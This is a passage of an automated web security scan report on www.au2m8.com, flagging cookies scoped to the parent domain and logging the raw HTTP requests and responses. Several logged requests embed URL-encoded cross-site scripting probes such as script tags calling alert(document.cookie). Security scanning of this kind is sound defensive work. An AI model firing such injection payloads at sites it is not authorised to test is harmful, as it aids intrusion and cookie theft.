14.203. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012534=1297008934; expires=Sun, 06-Feb-2011 17:15:34 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:34 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:34 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:34 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/350119091292093356328905.htm?vs=1&r=www.kledy.it%2F&s=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&t=982047
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:34 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:15:34 GMT
Last-Modified: Sun, 06 Feb 2011 16:15:34 GMT
Set-Cookie: bpl1297012534=1297008934; expires=Sun, 06-Feb-2011 17:15:34 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:15:34 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:15:34 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:34 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11408

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:15:34 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.204. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297002318=1296998718; expires=Sun, 06-Feb-2011 14:25:18 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:18 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:18 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:18 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:25:18 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 13:25:18 GMT
Last-Modified: Sun, 06 Feb 2011 13:25:18 GMT
Set-Cookie: bpl1297002318=1296998718; expires=Sun, 06-Feb-2011 14:25:18 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 14:25:18 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 14:25:18 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:18 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11506

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 13:25:18 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.205. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014831=1297011231; expires=Sun, 06-Feb-2011 17:53:51 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:53:51 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:53:51 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:51 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:53:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:53:51 GMT
Last-Modified: Sun, 06 Feb 2011 16:53:51 GMT
Set-Cookie: bpl1297014831=1297011231; expires=Sun, 06-Feb-2011 17:53:51 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:53:51 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:53:51 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:51 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11308

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:53:51 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.206. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012302=1297008702; expires=Sun, 06-Feb-2011 17:11:42 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:42 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:42 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:42 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:11:42 GMT
Last-Modified: Sun, 06 Feb 2011 16:11:42 GMT
Set-Cookie: bpl1297012302=1297008702; expires=Sun, 06-Feb-2011 17:11:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:11:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:11:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:42 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11296

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:11:42 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.207. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012317=1297008717; expires=Sun, 06-Feb-2011 17:11:57 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:57 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:57 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:57 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:11:57 GMT
Last-Modified: Sun, 06 Feb 2011 16:11:57 GMT
Set-Cookie: bpl1297012317=1297008717; expires=Sun, 06-Feb-2011 17:11:57 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:11:57 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:11:57 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:57 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11233

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:11:57 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.208. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950906=1296947306; expires=Sun, 06-Feb-2011 00:08:26 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:26 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:26 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; videoID=expired; auto=expired; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:08:26 GMT
Last-Modified: Sat, 05 Feb 2011 23:08:26 GMT
Set-Cookie: bpl1296950906=1296947306; expires=Sun, 06-Feb-2011 00:08:26 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:08:26 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:08:26 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:08:26 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11391

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:08:26 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.209. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014707=1297011107; expires=Sun, 06-Feb-2011 17:51:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:51:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:51:47 GMT
Last-Modified: Sun, 06 Feb 2011 16:51:47 GMT
Set-Cookie: bpl1297014707=1297011107; expires=Sun, 06-Feb-2011 17:51:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:51:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:51:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:47 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11326

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:51:47 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.210. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014806=1297011206; expires=Sun, 06-Feb-2011 17:53:26 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:53:26 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:53:26 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:26 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:53:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:53:26 GMT
Last-Modified: Sun, 06 Feb 2011 16:53:26 GMT
Set-Cookie: bpl1297014806=1297011206; expires=Sun, 06-Feb-2011 17:53:26 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:53:26 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:53:26 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:26 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11263

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:53:26 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.211. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012611=1297009011; expires=Sun, 06-Feb-2011 17:16:51 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:51 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:51 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:51 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:16:51 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:51 GMT
Set-Cookie: bpl1297012611=1297009011; expires=Sun, 06-Feb-2011 17:16:51 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:16:51 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:16:51 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:51 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11483

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:16:51 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.212. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012502=1297008902; expires=Sun, 06-Feb-2011 17:15:02 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:02 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:02 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:02 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
